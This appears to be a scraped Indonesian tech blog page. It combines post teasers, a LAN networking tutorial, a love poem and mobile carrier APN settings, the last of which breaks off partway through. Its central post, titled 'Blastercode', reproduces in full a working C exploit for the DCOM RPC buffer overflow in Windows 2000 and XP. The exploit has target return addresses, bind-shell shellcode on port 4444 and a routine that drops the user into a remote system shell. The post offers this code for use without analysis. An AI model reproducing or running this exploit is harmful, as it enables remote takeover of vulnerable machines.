CARA MERAKIT KOMPUTER DAN GAMBARNYA LENGKAP

Berikut ini akan dibahas mengenai bagaimana cara merakit komputer, terutama bagi mereka yang baru belajar. Dari beberepa referensi yang saya pelajari [Read More...]

SIMULASI INSTALLASI DEBIAN MENGGUNAKAN VIRTUALBOX

Berikut ini merupakan simulasi cara installasi debian menggunakan virtualbox, antara lain [Read More...]

KECANGGIHAN KONSEP KOMPUTER PENA MASA DEPAN

Anda ingin tahu lebih lengkap tentang konsep komputer masa depan ini?? Temukan jawaban dari penasaran anda mengenai Kecanggihan Konsep Komputer Masa Depan [Read More...]

DOORBOT: BEL PINTU DENGAN KAMERA YANG PUNYA KONEKSI WI-FI

Punya bel pintu dan ketika ada yang ngebel, anda berlari cepat dari kamar mandi dan tahu-tahunya cuma tukang jualan bakso atau parahnya lagi penagih hutang. Kesal kan? [Read More...]

8 RESEP MENGOPTIMALKAN WEBSITE ANDA

Punya website atau webblog? Anda berniat membangun website baru? Tapi tidak memiliki sumber daya yang cukup untuk membayar seorang desainer web handal atau konsultan? [Read More...]

Blastercode

/*
  DCOM RPC Overflow Discovered by LSD
   -> http://www.lsd-pl.net
 
  Based on FlashSky/Benjurry's Code
   -> http://www.xfocus.org/documents/200307/2.html
 
  Written by H D Moore <hdm [at] metasploit.com>
   -> http://www.metasploit.com/
 
  - Usage: ./dcom <Target ID> <Target IP>
  - Targets:
  -          0    Windows 2000 SP0 (english)
  -          1    Windows 2000 SP1 (english)
  -          2    Windows 2000 SP2 (english)
  -          3    Windows 2000 SP3 (english)
  -          4    Windows 2000 SP4 (english)
  -          5    Windows XP SP0 (english)
  -          6    Windows XP SP1 (english)

*/

#include <stdio.h>
#include <stdlib.h>
#include <error.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>

unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00};

unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};

unsigned char request3[]={
0x5C,0x00
,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};



unsigned char *targets [] =
        {
            "Windows 2000 SP0 (english)",
            "Windows 2000 SP1 (english)",
            "Windows 2000 SP2 (english)",
            "Windows 2000 SP3 (english)",
            "Windows 2000 SP4 (english)",
            "Windows XP SP0 (english)",
            "Windows XP SP1 (english)",
             NULL                                                                                       
        };
        
unsigned long offsets [] = 
        {
            0x77e81674, 
            0x77e829ec, 
            0x77e824b5, 
            0x77e8367a, 
            0x77f92a9b, 
            0x77e9afe3,
            0x77e626ba,
        };

unsigned char sc[]=
    "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00"
    "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00"
    "\x46\x00\x58\x00\x46\x00\x58\x00"

    "\xff\xff\xff\xff" /* return address */
    
    "\xcc\xe0\xfd\x7f" /* primary thread data block */
    "\xcc\xe0\xfd\x7f" /* primary thread data block */


/* port 4444 bindshell */
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"
    "\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"
    "\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"
    "\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"
    "\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"
    "\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"
    "\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"
    "\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81"
    "\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"
    "\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"
    "\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80"
    "\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"
    "\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"
    "\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80"
    "\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81"
    "\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6"
    "\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3"
    "\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50"
    "\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4"
    "\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4"
    "\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4"
    "\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f"
    "\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b"
    "\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80"
    "\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89"
    "\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80"
    "\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83"
    "\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83"
    "\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78"
    "\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c"
    "\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b"
    "\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04";

   

unsigned char request4[]={
0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};


/* ripped from TESO code */
void shell (int sock)
{
        int     l;
        char    buf[512];
        fd_set  rfds;


        while (1) {
                FD_SET (0, &rfds);
                FD_SET (sock, &rfds);

                select (sock + 1, &rfds, NULL, NULL, NULL);
                if (FD_ISSET (0, &rfds)) {
                        l = read (0, buf, sizeof (buf));
                        if (l <= 0) {
                                printf("\n - Connection closed by local user\n");
                                exit (EXIT_FAILURE);
                        }
                        write (sock, buf, l);
                }

                if (FD_ISSET (sock, &rfds)) {
                        l = read (sock, buf, sizeof (buf));
                        if (l == 0) {
                                printf ("\n - Connection closed by remote host.\n");
                                exit (EXIT_FAILURE);
                        } else if (l < 0) {
                                printf ("\n - Read failure\n");
                                exit (EXIT_FAILURE);
                        }
                        write (1, buf, l);
                }
        }
}


int main(int argc, char **argv)
{
    
    int sock;
    int len,len1;
    unsigned int target_id;
    unsigned long ret;
    struct sockaddr_in target_ip;
    unsigned short port = 135;
    unsigned char buf1[0x1000];
    unsigned char buf2[0x1000];

    printf("---------------------------------------------------------\n");
    printf("- Remote DCOM RPC Buffer Overflow Exploit\n");
    printf("- Original code by FlashSky and Benjurry\n");
    printf("- Rewritten by HDM <hdm [at] metasploit.com>\n");


    if(argc<3)
    {
        printf("- Usage: %s <Target ID> <Target IP>\n", argv[0]);
        printf("- Targets:\n");
        for (len=0; targets[len] != NULL; len++)
        {
            printf("-          %d\t%s\n", len, targets[len]);   
        }
        printf("\n");
        exit(1);
    }

    /* yeah, get over it :) */
    target_id = atoi(argv[1]);
    ret = offsets[target_id];
    
    printf("- Using return address of 0x%.8x\n", ret);

    memcpy(sc+36, (unsigned char *) &ret, 4);

    target_ip.sin_family = AF_INET;
    target_ip.sin_addr.s_addr = inet_addr(argv[2]);
    target_ip.sin_port = htons(port);

    if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1)
    {
        perror("- Socket");
        return(0);
    }
    
    if(connect(sock,(struct sockaddr *)&target_ip, sizeof(target_ip)) != 0)
    {
        perror("- Connect");
        return(0);
    }
    
    len=sizeof(sc);
    memcpy(buf2,request1,sizeof(request1));
    len1=sizeof(request1);
    
    *(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(sc)/2;  
    *(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(sc)/2;
    
    memcpy(buf2+len1,request2,sizeof(request2));
    len1=len1+sizeof(request2);
    memcpy(buf2+len1,sc,sizeof(sc));
    len1=len1+sizeof(sc);
    memcpy(buf2+len1,request3,sizeof(request3));
    len1=len1+sizeof(request3);
    memcpy(buf2+len1,request4,sizeof(request4));
    len1=len1+sizeof(request4);
    
    *(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(sc)-0xc;
    

    *(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc;  
    *(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc;
    *(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc;
    *(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc;
    *(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(sc)-0xc;
    *(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc;
    *(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0xc;
    
    if (send(sock,bindstr,sizeof(bindstr),0)== -1)
    {
            perror("- Send");
            return(0);
    }
    len=recv(sock, buf1, 1000, 0);
    
    if (send(sock,buf2,len1,0)== -1)
    {
            perror("- Send");
            return(0);
    }
    close(sock);
    sleep(1);
    
    target_ip.sin_family = AF_INET;
    target_ip.sin_addr.s_addr = inet_addr(argv[2]);
    target_ip.sin_port = htons(4444);

    if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1)
    {
        perror("- Socket");
        return(0);
    }
    
    if(connect(sock,(struct sockaddr *)&target_ip, sizeof(target_ip)) != 0)
    {
        printf("- Exploit appeared to have failed.\n");
        return(0);
    }   
    
    printf("- Dropping to System Shell...\n\n");

    shell(sock);
    
    return(0);
}

Pengenalan Jaringan


Pengertian dan Prinsip Kerja LAN
================================
LAN dapat definisikan sebagai network  atau   jaringan   sejumlah  sistem komputer yang lokasinya terbatas didalam satu gedung, satu kompleksgedung atau suatu kampus dan tidak  menggunakan media fasilitas komunikasi  umum seperti telepon, melainkan pemilik dan  pengelola   media   komunikasinya adalah pemilik LAN itu sendiri. Dari definisi diatas dapat kita ketahui bahwa sebuah LAN  dibatasi   oleh lokasi secara fisik. Adapun penggunaan LAN itu sendiri mengakibatkansemua komputer yang terhubung dalam jaringan dapat bertukar  data  atau  dengan kata  lain  berhubungan. Kerjasama  ini  semakin  berkembang   dari hanya pertukaran data hingga penggunaan peralatan secara bersama. LAN yang umumnya menggunakan hub, akan mengikuti  prinsip   kerja hub itu sendiri. Dalam hal ini adalah bahwa hub tidak memiliki pengetahuantentang alamat tujuan sehingga penyampaian data secara broadcast, dan juga karena hub hanya memiliki satu domain collision sehingga  bila   salah satu port sibuk maka port-port yang lain harus menunggu.

Komponen-komponen Dasar LAN
===========================
Beberapa komponen dasar yang biasanya membentuk suatu LAN adalah  sebagai berikut:
  •Workstation
  --------------------
  Workstation merupakan node atau host yang berupa suatu   sistem komputer. Sistem komputer ini dapat berupa PC atau dapat pula berupa suatu komputer yang  besar  seperti  sistem  minicomputer, bahkan  suatu      mainframe. Workstation dapat bekerja sendiri (stand-alone)  dapat pula   menggunakan jaringan untuk bertukar data dengan workstation atau user yang lain.
  •Server
  -----------
  Perangkat keras (hardware) yang  berfungsi untuk   melayani  jaringan dan workstation  yang  terhubung pada  jaringan tersebut.pada umumnya sumber daya (resources)   seperti  printer, disk, dan  sebagainya yang   hendak digunakan secara bersama oleh para  pemakai  di  workstation  berada  dan bekerja pada server. Berdasarkan jenis pelayanannya  dikenal  disk server, file server, print server, dan suatu server juga dapat mempunyai beberapa fungsi pelayanan sekaligus.

  •Link (hubungan)
  ------------------------
  Workstation dan server tidak dapat berfungsi  apabila  peralatan  tersebut secara fisik tidak terhubung. Hubungan tersebut dalam LAN dikenal  sebagai media transmisi yang umumnya  berupa kabel. Adapun   beberapa  contoh dari link adalah:
  1.Kabel Twisted Pair 
  •Kabel ini terbagi dua, yaitu Shielded Twisted Pair dan Unshielded Twisted
   Pair(UTP)
  •Lebih banyak dikenal karena merupakan kabel telpon
  •Relatif murah
  •Jarak yang pendek
  •Mudah terpengaruh oleh gangguan
  •Kecepatan data yang dapat didukung terbatas, 10-16 Mbps

  2.Kabel Coaxial
  •Umumnya digunakan pada televisi
  •Jarak yang relatif lebih jauh
  •Kecepatan pengiriman data lebih tinggi di banding Twisted Pair, 30 Mbps
  •Harga yang relatif tidak mahal
  •Ukurannya lebih besar dari Twisted Pair

  3.Kabel Fiber Optic
  •Jarak yang jauh
  •Kecepatan data yang tinggi, 100 Mbps
  •Ukuran yang relatif kecil
  •Sulit dipengaruhi gangguan
  •Harga yang relatif masih mahal
  •Instalasi yang relatif sulit


  •Network Interface Card (NIC)
  -------------------------------------------
  Suatu workstation tidak dihubungkan secara langsung dengan kabel jaringan ataupun tranceiver cable, tetapi melalui suatu rangkaian elektronika yang dirancang khusus untuk menangani  network  protocol  yang dikenal  dengan Network Interface Card (NIC).

  •Network Software
  ---------------------------
  Tanpa adanya software jaringan maka jaringan tersebut tidak  akan bekerja sebagaimana yang dikehendaki. Software ini juga yang  memungkinkan sistem komputer yang satu berkomunikasi dengan sistem komputer yang lain.

  Peralatan Pendukung LAN
  =======================
  a. Repeater
  ------------
  •Pada OSI, bekerja pada lapisan Physical
  •Meneruskan dan memperkuat sinyal
  •Banyak digunakan pada topologi Bus
  •Penggunaannya mudah dan Harga yang relatif murah
  •Tidak memiliki pengetahuan tentang alamat tujuan  sehingga   penyampaian data secara  broadcast
  •Hanya memiliki satu domain collision sehingga bila salah satu port sibuk
   maka   port-port yang lain harus menunggu.

  b. Hub
  ---------
  •Bekerja pada lapisan Physical
  •Meneruskan sinyal
  •Tidak memiliki pengetahuan tentang alamat tujuan
  •Penggunaannya relatif mudah dan harga yang terjangkau
  •Hanya memiliki satu buah domain collision

  c. Bridge
  -----------
  •Bekerja di lapisan Data Link
  •Telah menggunakan alamat-alamat untuk meneruskan data ke tujuannya
  •Secara otomatis membuat tabel penterjemah untuk diterima  masing2  port

  d. Switch
  ------------
  •Bekerja di lapisan Data Link
  •Setiap port didalam swith memiliki domain collision sendiri-sendiri
  •Memiliki tabel penterjemah pusat yang memiliki  daftar penterjemah untuk semua port
  •Memungkinkan transmisi secara full duflex (dua arah)

  e. Router
  --------
  •Router berfungsi menyaring atau memfilter lalu lintas data
  •Menentukan dan memilih  jalur alternatif yang akan   dilalui  oleh data
  •Menghubungkan antar jaringan LAN, bahkan dengan WAN

  Topologi LAN
  =============
  Pengertian topologi Jaringan adalah  susunan lintasan aliran data didalam jaringan yang secara fisik menghubungkan simpul yang satu  dengan  simpul lainnya. Berikut  ini  adalah beberapa topologi  jaringan  yang ada dan dipakai hingga saat ini, yaitu:
  •Topologi Star
  Beberapa simpul/node dihubungkan dengan simpul pusat/host, yang membentuk jaringan fisik seperti bintang, semua komunikasi ditangani  langsung  dan dikelola oleh host yang berupa mainframe komputer.

                        [PC1]
                            |                  
   [PC2]-------[Server]---------[PC3]
                         /    \
                       /        \
                [PC4]     [PC5]















•Topologi Hierarkis
  Berbentuk seperti pohon bercabang yang terdiri dari  komputer induk(host) dihubungkan dengan simpul/node lain secara berjenjang. Jenjang yang lebih tinggi berfungsi sebagai pengatur kerja jenjang dibawahnya.

                        [Server]
                        /         \
           [server/PC]    [server/PC]
             /   \                   /     \
           /       \               /         \
     [PC1]  [PC2]     [PC3]  [PC4]



  •Topologi Bus
  Beberapa simpul/node dihubungkan dengan jalur  data  (bus). Masing2 node dapat melakukan tugas-tugas dan operasi yangberbeda namun semua mempunyai hierarki yang sama.
                   
                       [PC1]  [PC2]     [PC3]  [PC4]
                           | |             |          |
           =backbone================================
                         |           |             |           |
[PC1]  [PC2]     [PC3]  [PC4]


  •Topologi Loop
  Merupakan hubungan  antar simpul/node  secara serial  dalam bentuk suatu lingkaran tertutup. Dalam bentuk ini  tak ada  central node/host, semua mempunyai hierarki yang sama.
  
       [PC1]
[PC2] | [PC3]
      \     |    /      
        (_) <== lingkaran
       /  \
  [PC4][PC5]

  •Topologi Ring
  Bentuk ini merupakan gabungan bentuk topologi loop dan bus,  jika salah satu simpul/node  rusak, maka tidak akan mempengaruhi  komunikasi node yang lain karena terpisah dari jalur data.

       [PC1a]
[PC1b]__|__[PC1c]  << bus
               |
      [PC2]|[PC3]                  <<ring
         \    |    /      
           (_) <== lingkaran
   /  \
   [PC4][PC5]

  •Topologi Web
  Merupakan bentuk topologi yang masing-masing simpul/node  dalam jaringan dapat saling berhubungan  dengan node   lainnya melalui  beberapa link. Suatu bentuk web network dengan n node, akan menggunakan link sebanyak n(n-1)/2.

[PC1]
                       /  /  \  \ 
              [PC2]=-+---+=[PC3]
                  |       /     \          |
            [PC4]=-------=[PC5]
 
  Dengan menggunakan segala kelebihan dan kekurangan  masing2 konfigurasi, memungkinkan dikembangkannya suatu konfigurasi baru yang  menggabungkan beberapa topologi disertai teknologi  baru agar  kondisi ideal suatu sistem jaringan dapat terpenuhi.


C I N T A

Puisi ini Aku buat spesial untuk Marmutku tersayank, "Niken Kusuma Putri :*"




Cinta,..
Cinta menurutku adalah nyanyian kebahagiaan bagi kita dimalam hari ini.
Dan membangunkan kata saat fajar.
Untuk menyingkapkan arti kehidupan dan rahasia alam.
Cinta sejati yang bebas dari rasa cemburu, dan tidak pernah menyiksa jiwa.
Daya tarik yang memandikan jiwa dalam kegembiraan,
Mengisi jiwa dengan limpahannya,
Kelembutan yang menciptakan harapan,
Mengubah dunia menjadi surga
Dan kehidupan menjadi mimpi indah.
Tidak ada yang lebih indah daripada hari-hari penuh cinta.



Bingung dengan Setting Kartu Perdana Anda

Bingung dengan Setting Kartu Perdana Anda? Bagaimana cara setting yang bagus perdana Anda? let's read this blog :D

disini Aku akan memberikan sedikit referensi, wawasan, atau masukan bagi pembaca setia blog ini.
bagi yang bingung mengoptimalkan settingan kartu perdana dari mulai kartu THREE(3) , Simpati/AS, Mentari, IM3, XL, AXIS, Telkomsel Flash, Indosat Broadband silahkan pelajari dan simak baik-baik postingan Aku ini. langsung aja gak perlu berele-tele. Le't read :D

Kartu THREE (TRI) :
GPRS
Profile name: 3-GPRS
Homepage : http://wap.three.co.id/
Proxies : Enable
Proxy address : 10.4.0.10
Port : 3128
GPRS access point : 3gprs
Authentication type : Normal
Login type : Automatic
Username : 3gprs
Password : 3gprs

MMS
Profile name : 3-MMS
Homepage : http://mms.three.co.id/
GPRS access point : 3mms
Authentication type : Normal
Username : 3mms
Password : 3mms
Allow adverts : No


Kartu SIMPATI / AS:
GPRS
